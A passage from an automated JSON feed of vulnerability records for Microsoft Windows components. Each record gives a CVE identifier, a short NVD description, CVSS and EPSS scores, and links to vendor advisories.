fixes.","publishedAt":"2026-10-13T19:19:14.343Z","updatedAt":"2026-10-16T17:46:14.777Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70033","asOf":"2026-10-16T17:46:14.777Z"},"epss":{"probability":0.01273,"percentile":0.69689,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70033&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70033","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70033","type":"primary","publishedAt":"2026-10-13T19:19:14.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70033","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70033&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70033, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70031","cveId":"CVE-2026-70031","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to deny service over a network.","summary":"Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to deny service over a network.","detail":"Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:14.150Z","updatedAt":"2026-10-16T19:13:18.383Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70031","asOf":"2026-10-16T19:13:18.383Z"},"epss":{"probability":0.01273,"percentile":0.69689,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70031&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70031","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70031","type":"primary","publishedAt":"2026-10-13T19:19:14.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70031","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70031&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70031, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70027","cveId":"CVE-2026-70027","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:14.010Z","updatedAt":"2026-10-16T19:12:54.970Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70027","asOf":"2026-10-16T19:12:54.970Z"},"epss":{"probability":0.00379,"percentile":0.3158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70027&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70027","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70027","type":"primary","publishedAt":"2026-10-13T19:19:14.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70027","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70027&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70027, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70026","cveId":"CVE-2026-70026","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:13.850Z","updatedAt":"2026-10-16T19:12:32.767Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70026","asOf":"2026-10-16T19:12:32.767Z"},"epss":{"probability":0.003,"percentile":0.22443,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70026&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70026","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70026","type":"primary","publishedAt":"2026-10-13T19:19:13.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70026&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70026, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70023","cveId":"CVE-2026-70023","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:13.337Z","updatedAt":"2026-10-16T19:17:57.537Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","Hyper-V","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70023","asOf":"2026-10-16T19:17:57.537Z"},"epss":{"probability":0.00379,"percentile":0.31579,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70023&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70023","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70023","type":"primary","publishedAt":"2026-10-13T19:19:13.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70023","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70023&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70023, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70021","cveId":"CVE-2026-70021","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:13.210Z","updatedAt":"2026-10-16T17:44:15.797Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70021","asOf":"2026-10-16T17:44:15.797Z"},"epss":{"probability":0.003,"percentile":0.22444,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70021","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70021","type":"primary","publishedAt":"2026-10-13T19:19:13.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70021","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70015","cveId":"CVE-2026-70015","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:12.900Z","updatedAt":"2026-10-16T19:10:28.937Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70015","asOf":"2026-10-16T19:10:28.937Z"},"epss":{"probability":0.00379,"percentile":0.31577,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70015&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70015","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70015","type":"primary","publishedAt":"2026-10-13T19:19:12.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70015","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70015&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70015, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70014","cveId":"CVE-2026-70014","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Cryptographic Services allows an authorized attacker to execute code over a network.","summary":"Use after free in Windows Cryptographic Services allows an authorized attacker to execute code over a network.","detail":"Use after free in Windows Cryptographic Services allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:12.717Z","updatedAt":"2026-10-16T19:09:58.207Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70014","asOf":"2026-10-16T19:09:58.207Z"},"epss":{"probability":0.00751,"percentile":0.547,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70014","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70014","type":"primary","publishedAt":"2026-10-13T19:19:12.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70014","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70013","cveId":"CVE-2026-70013","aliases":[],"kind":"vulnerability","title":"Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:12.513Z","updatedAt":"2026-10-19T12:45:21.757Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70013","asOf":"2026-10-19T12:45:21.757Z"},"epss":{"probability":0.00656,"percentile":0.51109,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70013&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70013","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70013","type":"primary","publishedAt":"2026-10-13T19:19:12.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70013","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70013&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70013, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70012","cveId":"CVE-2026-70012","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:12.340Z","updatedAt":"2026-10-19T19:23:47.467Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70012","asOf":"2026-10-19T19:23:47.467Z"},"epss":{"probability":0.00631,"percentile":0.49953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70012&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70012","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70012","type":"primary","publishedAt":"2026-10-13T19:19:12.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70012","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70012&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70012, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70004","cveId":"CVE-2026-70004","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:11.280Z","updatedAt":"2026-10-19T12:51:37.590Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70004","asOf":"2026-10-19T12:51:37.590Z"},"epss":{"probability":0.00631,"percentile":0.49953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70004&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70004","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70004","type":"primary","publishedAt":"2026-10-13T19:19:11.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70004","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70004&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70004, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69998","cveId":"CVE-2026-69998","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:10.970Z","updatedAt":"2026-10-19T12:56:03.517Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69998","asOf":"2026-10-19T12:56:03.517Z"},"epss":{"probability":0.00631,"percentile":0.49951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69998&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69998","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69998","type":"primary","publishedAt":"2026-10-13T19:19:10.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69998","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 